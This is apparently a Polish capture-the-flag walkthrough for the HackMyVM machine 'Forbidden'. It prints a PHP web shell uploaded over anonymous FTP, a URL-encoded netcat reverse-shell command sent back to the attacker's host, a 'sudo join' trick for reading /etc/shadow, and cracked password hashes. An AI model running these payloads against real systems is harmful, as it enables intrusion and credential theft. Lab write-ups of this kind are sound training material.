Forbidden - sml
00. Metainfo
Nazwa: | Forbidden |
Autor: | sML |
Wypuszczony: | 2020-10-09 |
Ściągnij: | HackMyVM |
Poziom: | Średni |
System: | Linux |
Nauczysz się: | Reverse Engineering, sprytu |
01. Wstęp
Forbidden dosyć długo leżał u mnie na dysku, zapomniałem o niej. Dopiero wróciłem w roku 2024, ale dzięki temu wyszła jedna ciekawostka (zaplanowana lub nie). Maszynka jest dosyć prosta, mimo że ma status middle, jednak ma dużo króliczych nor i chyba dzięki temu jest bardzo ciekawa, mimo swojego wieku.
02. Co to za maszyna?
Po wstępnym wykryciu ip Netdiscoverem
netdiscover -P -r 172.16.1.0 | grep "PCS Systemtechnik GmbH"
# 172.16.1.161 08:00:27:3c:42:d7 1 60 PCS Systemtechnik GmbH
i skanowaniu Nmapem:
db_nmap -A -p- 172.16.1.161
# host port proto name state info
# ---- ---- ----- ---- ----- ----
# 172.16.1.161 21 tcp ftp open vsftpd 3.0.3
# 172.16.1.161 80 tcp http open nginx 1.14.2
widzimy, że mamy otwarte porty:
- 21/tcp - FTP
- 80/tcp - Apache WWW Wchodząc na strone:
dostajemy dużo informacji, między innymi, że Marta jest najlepszym adminem na świecie (zobaczymy). Jest zadowolona, że nikt się jej nie włamie, bo PHP wyłączyła (zobaczymy znowu).
03. Co jest w środku?
WWW
Najpierw przeskanujmy ten system programem Forexbuster:
feroxbuster -x txt,php -u http://172.16.1.161
# ___ ___ __ __ __ __ __ ___
# |__ |__ |__) |__) | / ` / \ \_/ | | \ |__
# | |___ | \ | \ | \__, \__/ / \ | |__/ |___
# by Ben "epi" Risher 🤓 ver: 2.10.1
# ───────────────────────────┬──────────────────────
# 🎯 Target Url │ http://172.16.1.161
# 🚀 Threads │ 50
# 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# 👌 Status Codes │ All Status Codes!
# 💥 Timeout (secs) │ 7
# 🦡 User-Agent │ feroxbuster/2.10.1
# 💉 Config File │ /etc/feroxbuster/ferox-config.toml
# 🔎 Extract Links │ true
# 💲 Extensions │ [txt, php]
# 🏁 HTTP methods │ [GET]
# 🔃 Recursion Depth │ 4
# ───────────────────────────┴──────────────────────
# 🏁 Press [ENTER] to use the Scan Management Menu™
# ──────────────────────────────────────────────────
# 404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
# 200 GET 8l 41w 241c http://172.16.1.161/
# 200 GET 1l 1w 10c http://172.16.1.161/robots.txt
# 200 GET 1l 12w 75c http://172.16.1.161/note.txt
# [####################] - 33s 90000/90000 0s found:3 errors:0
# [####################] - 33s 90000/90000 2744/s http://172.16.1.161/
Znalezione zostały pliki: robots.txt i note.txt. W note.txt jest taka informacja The extra-secured .jpg file contains my password but nobody can obtain it.
. To się przyda później.
FTP
Mamy dostęp do FTP-a za pomocą konta anonymous, do tego się okazuję, że możemy też wgrywać tam pliki. Pliki o rozszerzeniu .php można tam wrzucić, ale niestety się nie uruchomią wchodząc przez stronę. Za to nasza najlepsza adminka na świecie chyba zapomniała, że są inne rozszerzenia typu .php5. Wrzućmy tam nasz shell, którego zawartość tak wygląda:
<?php
echo shell_exec($_REQUEST['cmd']);
?>
Na FTP zaś możemy zrobić coś takiego, po prostu wrzucić ten plik.
ftp 172.16.1.161
# Connected to 172.16.1.161.
# 220 (vsFTPd 3.0.3)
# Name (172.16.1.161:szikers): anonymous
# 331 Please specify the password.
Password:
# 230 Login successful.
# Remote system type is UNIX.
# Using binary mode to transfer files.
ftp> put shell.php5
# 229 Entering Extended Passive Mode (|||23644|)
# 150 Here comes the directory listing.
# drwxrwxrwx 2 0 0 4096 Jan 05 20:53 www
# 226 Directory send OK.
ftp> cd www
# 250 Directory successfully changed.
ftp> put shell.php5
04. Reverse Shell
Odpalamy nasz Reverse Shell:
Nasłuchiwacz
nc -lvp 12345
Kod na stronie
Wklejamy przez przeglądarkę:
172.16.1.161/shell.php5?cmd=php%20-r%20%22system%20%28%27nc%20-c%20%2Fbin%2Fbash%20172.16.1.89%2012345%27%29%3B%22%20
05. Konta użytkowników
www
w katalogu /var/www/html
mamy obrazek TOPSECRETIMAGE.jpg. Można go rozpakować, wydobyć z niego hasło, itd… jednak na nic się to nie przyda, bo hasłem do konta marta jest Nazwa obrazka
marta
su - marta
Będąc na koncie marta wydajemy komendę sudo -l. Wynikiem zaś jest:
marta@forbidden:~$ sudo -l
# Matching Defaults entries for marta on forbidden:
# env_reset, mail_badpass,
# secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
# User marta may run the following commands on forbidden:
# (ALL : ALL) NOPASSWD: /usr/bin/join
Niestety polecenie sudo /usr/bin/join nie daje nam dostępu do konta Roota, jednak umożliwia przeczytanie pliku /etc/shadow. W nim zaś są zawarte hasła.
sudo /usr/bin/join -a2 /dev/null /etc/shadow
root
Poszliśmy na skróty, Nie wiem jak było w 2020 roku, ale teraz Hashcat ze słownika rockyou.txt odszyfrował nam hasło użytkownika peter i dodatkowo root (to była ta ciekawostka). Nie musimy już przechodzić przez konto peter.
PS C:\temp\hashcat> .\hashcat.exe -O -a0 -m1800 .\hashe\forbidden.txt .\dict\rockyou.txt --show
$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:lalu******
$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:bo******
Zostaw komentarz